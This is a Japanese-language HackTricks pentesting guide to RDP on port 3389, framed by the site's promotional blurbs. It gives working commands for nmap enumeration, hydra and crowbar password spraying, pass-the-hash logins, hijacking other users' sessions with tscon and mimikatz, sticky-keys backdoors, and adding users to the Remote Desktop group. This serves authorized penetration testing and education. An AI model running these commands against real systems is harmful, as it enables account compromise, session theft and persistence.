3389 - Pentesting RDP
Reading time: 8 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
Microsoftによって開発されたRemote Desktop Protocol(RDP)は、ネットワークを介してコンピュータ間のグラフィカルインターフェース接続を可能にするように設計されています。この接続を確立するために、ユーザーはRDPクライアントソフトウェアを利用し、同時にリモートコンピュータはRDPサーバーソフトウェアを操作する必要があります。このセットアップにより、遠隔コンピュータのデスクトップ環境をシームレスに制御およびアクセスでき、実質的にそのインターフェースをユーザーのローカルデバイスに持ち込むことができます。
デフォルトポート: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
列挙
自動
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
利用可能な暗号化とDoS脆弱性をチェックし(サービスにDoSを引き起こすことなく)、NTLM Windows情報(バージョン)を取得します。
ブルートフォース
注意してください、アカウントがロックされる可能性があります
パスワードスプレー
注意してください、アカウントがロックされる可能性があります
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
知られている資格情報/ハッシュで接続する
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
RDPサービスに対する既知の資格情報の確認
impacketのrdp_check.pyを使用すると、RDPサービスに対していくつかの資格情報が有効かどうかを確認できます:
rdp_check <domain>/<name>:<password>@<IP>
攻撃
セッションの盗難
SYSTEM権限を持っていれば、**所有者のパスワードを知らなくても、任意のユーザーによって開かれたRDPセッションにアクセスできます。
開かれたセッションを取得:
query user
選択したセッションへのアクセス
tscon <ID> /dest:<SESSIONNAME>
今、選択したRDPセッションに入っており、Windowsのツールと機能のみを使用してユーザーをなりすますことができます。
重要: アクティブなRDPセッションにアクセスすると、そのセッションを使用していたユーザーが切断されます。
プロセスをダンプしてパスワードを取得することもできますが、この方法ははるかに速く、ユーザーの仮想デスクトップと対話することができます(ディスクに保存されていないノートパッドのパスワード、他のマシンで開かれた他のRDPセッション...)。
Mimikatz
この目的のためにmimikatzを使用することもできます:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
Sticky-keys & Utilman
この技術をstickykeysまたはutilmanと組み合わせることで、いつでも管理者CMDおよび任意のRDPセッションにアクセスできます。
これらの技術のいずれかでバックドアが仕掛けられたRDPを検索するには、https://github.com/linuz/Sticky-Keys-Slayerを使用できます。
RDPプロセスインジェクション
異なるドメインの誰かがより高い権限でRDP経由であなたが管理者であるPCにログインした場合、彼のRDPセッションプロセスにあなたのビーコンをインジェクトして、彼のように行動することができます:
RDPグループへのユーザー追加
net localgroup "Remote Desktop Users" UserLoginName /add
自動ツール
AutoRDPwnは、主にMicrosoft Windowsコンピュータに対するShadow攻撃を自動化するために設計されたPowershellで作成されたポストエクスプロイトフレームワークです。この脆弱性(Microsoftによって機能としてリストされています)は、リモート攻撃者が被害者の同意なしにデスクトップを表示し、さらには要求に応じてそれを制御することを可能にします。これは、オペレーティングシステム自体にネイティブなツールを使用します。
-
コマンドラインから自動的にマウスとキーボードを制御
-
コマンドラインから自動的にクリップボードを制御
-
クライアントからSOCKSプロキシを生成し、RDPを介してターゲットへのネットワーク通信をチャネル
-
ファイルをアップロードせずにターゲット上で任意のSHELLおよびPowerShellコマンドを実行
-
ターゲットでファイル転送が無効になっている場合でも、ターゲットとの間でファイルをアップロードおよびダウンロード
このツールは、グラフィカルインターフェースを必要とせずに被害者のRDPでコマンドを実行することを可能にします。
HackTricks 自動コマンド
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。